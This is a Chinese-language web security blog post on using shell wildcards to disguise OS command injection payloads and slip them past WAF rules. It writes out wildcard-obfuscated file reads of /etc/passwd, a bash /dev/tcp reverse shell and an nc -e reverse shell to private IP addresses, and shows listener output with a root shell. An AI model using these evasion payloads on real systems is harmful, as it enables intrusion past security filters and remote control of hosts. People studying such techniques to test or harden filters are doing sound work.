WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

一、通配符简介:

一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符。

举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf:

 └─[$]> sudo head - /???/r????v.c??f
#
# macOS Notice
#
# This file is not consulted for DNS hostname resolution, address
# resolution, or the DNS query routing mechanism used by most

同理,删除文件的时候,如果删除所有a开头的文件:

 rm -f a*

以上大概简要说明了什么是通配符

二、支持通配符的shell

从上文中可以看出Linux、Unix类操作系统命令行对于参数或者命令的值是支持通配符的,name命令本身是否支持通配符呢?

 └─[$]> sudo /???/c?t /???/r????v.?o?f
#
# macOS Notice
#
# This file is not consulted for DNS hostname resolution, address
# resolution, or the DNS query routing mechanism used by most
# processes on this system.
#
# To view the DNS configuration used by this system, use:
# scutil --dns
#
# SEE ALSO
# dns-sd(), scutil()
#
# This file is automatically generated.
#

可以看出来,命令部分识别/???/c?t => /bin/cat

三、WAF规则集:

WAF对于payload部分的检测和响应(放行还是阻断)基于WAF引擎的固有的一套规则

例如对于OS Command Injection的payload过滤:

rule1   -> 过滤 | (%7c)字符 &的URL编码%26 甚至/(%2f)等等,过滤反引号``

rule2  -> 过滤命令关键字等等

rule3  -> 正则表达式匹配

四、绕WAF

1、发现/etc/passwd ->会报警,/???/p????d则不会,因为匹配的正则很可能这么写的匹配/[\w]{1,}/[\w]{1,} 对于rule3

2、举一个反弹shell的bash简单命令,这个对于rule2比较合适

//正常的反弹shell的命令
#bash -i >& /dev/tcp/192.168.1.102/ >&
#/???/b??h -i >& /dev/tcp/192.168.1.102/ >&
可以成功

WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

在测试一个使用nc直接反弹的例子:

 #正常情况下:
nc -e /bin/bash 192.168.1.101
nv -p -l -v

可以转换成:

 /???/nc -e /???/b??h 192.168.1.101
# 我这里/bin下有个nl命令,所以n?打不出来,否则可以用n?来替换nc,且ip地址可以转换成为长整数

结果

 [********@***]# nc -p  -l -v
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::
Ncat: Listening on 0.0.0.0:
Ncat: Connection from ******.
Ncat: Connection from ******:.
whoami
root

搞定了

综上,这个办法还是很有用的。

上一篇:WEB安全番外第六篇--关于通过记录渗透工具的Payload来总结和学习测试用例


下一篇:WEB安全番外第三篇--关于XXE